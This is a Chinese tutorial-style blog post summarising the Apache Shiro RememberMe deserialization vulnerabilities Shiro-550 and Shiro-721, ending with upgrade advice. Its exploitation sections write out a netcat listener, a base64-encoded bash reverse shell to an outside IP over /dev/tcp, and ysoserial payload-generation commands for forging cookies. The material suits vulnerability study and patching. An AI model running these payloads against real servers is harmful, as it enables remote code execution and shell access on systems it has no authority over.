shiro反序列化漏洞总结

目录

Shiro RememberMe 反序列化漏洞(Shiro-550)

漏洞原理

影响版本

特征判断

漏洞利用方式

方式一:nc 反弹 shell

方式二:命令执行

Shiro Padding Oracle Attack(Shiro-721)

漏洞原理

影响版本

漏洞利用步骤

Shiro-550和 Shiro-721的区别

修复建议


Shiro 是一个 Java 安全框架。以下是关于 Shiro 反序列化漏洞的一些总结:

Shiro RememberMe 反序列化漏洞(Shiro-550)

  • 漏洞原理

  • 在 Shiro <= 1.2.4 中,当用户勾选 RememberMe 并登录成功,Shiro 会将用户的 cookie 值序列化、AES 加密、接着 base64 编码后存储在 cookie 的 RememberMe 字段中。

  • 服务端收到登录请求后,会对 RememberMe 的 cookie 值进行 base64 解码、AES 解密,然后反序列化。由于 AES 加密是对称式加密(key 既能加密数据也能解密数据),而该版本中反序列化过程所用 AES 加密的 key 是硬编码在源码中的,所以当攻击者知道了 AES key 后,就能够构造恶意的 RememberMe cookie 值从而触发反序列化漏洞。

  • 影响版本

  • Apache Shiro <= 1.2.4。

  • 特征判断

  • 返回包中含有RememberMe=deleteMe 字段。

  • 漏洞利用方式

    • 方式一:nc 反弹 shell
      1. 在 kali 中通过 nc 监听本地端口,例如nc -lvp 4444
      2. 利用 Java Runtime 配合 bash 编码生成反弹 shell 代码,例如bash -i >& /dev/tcp/192.168.31.81/4444 0>&1,编码后的结果类似:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjgxLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}
      3. 通过 ysoserial 工具中的 JRMP 监听模块,监听特定端口(如 6666)并执行反弹 shell 命令,如java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjgxLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'
      4. 利用检测出的 AES 密钥,生成 payload。
      5. 构造数据包,伪造 cookie 并发送请求。
    • 方式二:命令执行
      1. 使用 ysoserial 工具生成 poc,如java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "echo 'test shiro-550' > /tmp/SUCCESS"
      2. 使用 Shiro 默认 AES Key 对 payload 进行加密。
      3. 用 burpsuite 抓包,发送带有伪造 RememberMe Cookie 的请求。
      4. 查看目标服务器的/tmp 目录,确认是否生成了指定文件。

Shiro Padding Oracle Attack(Shiro-721)

  • 漏洞原理

  • Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 RememberMe 字段存在问题,用户可通过 Padding Oracle 加密生成攻击代码来构造恶意的 RememberMe 字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

  • 影响版本

  • Apache Shiro < 1.4.2 版本。

  • 漏洞利用步骤

    1. 登录 Shiro 网站,从 cookie 中获得 RememberMe 字段的值。
    2. 利用 DNSlog 探测,通过 ysoserial 工具生成 payload,例如java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping 75bbot.dnslog.cn" > payload.class
    3. 使用 RememberMe 值作为 prefix,加载 Payload,进行 Padding Oracle 攻击(可使用相关的工具,如 github 上的特定项目)。
    4. 使用构造的 RememberMe 攻击字符串重新请求网站。
    5. 成功触发 Payload,可在 DNSLog 获取到目标 IP。

Shiro-550和 Shiro-721的区别

Shiro-550(CVE-2016-4437)和 Shiro-721(CVE-2019-12422)的主要区别在于漏洞利用的条件和方式:

  • Shiro-550:使用的是已知密钥进行撞库。在 Shiro 550 中,AES 加密的密钥是硬编码在 Shiro 源码中的,如果没有修改默认密钥,则可以直接使用该密钥构造 Payload。影响版本为 Apache Shiro < 1.2.4。
  • Shiro-721:需要使用登录后得到的RememberMeCookie 的值去爆破正确的 key 值进而反序列化。Shiro 721 中 AES 加密的 key 通常是系统随机生成的,一般情况下无法直接得知。它利用了 Shiro 中通过 AES-128-CBC 模式加密的RememberMe字段存在的问题,以登录后的有效RememberMecookie 作为 Padding Oracle Attack 的前缀,然后构造恶意的RememberMe字段来执行 Java 反序列化攻击。影响版本为 Apache Shiro < 1.4.2。

相比之下,Shiro-550 的利用条件相对较低,只要有足够的密钥库即可;而 Shiro-721 需要先登录获取RememberMe值,要求相对较高且较为鸡肋。

修复建议

shiro反序列化漏洞都可能导致严重的安全风险,如果存在这个漏洞攻击者能够执行任意代码或进行其他恶意攻击。

建议及时将 Apache Shiro 升级到最新版本,并采取其他安全措施,比如不使用默认的加密密钥、加强对用户输入的验证和过滤等。同时,在开发和部署应用时,要遵循安全最佳实践,以降低安全风险。

  • 43
    点赞
  • 42
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值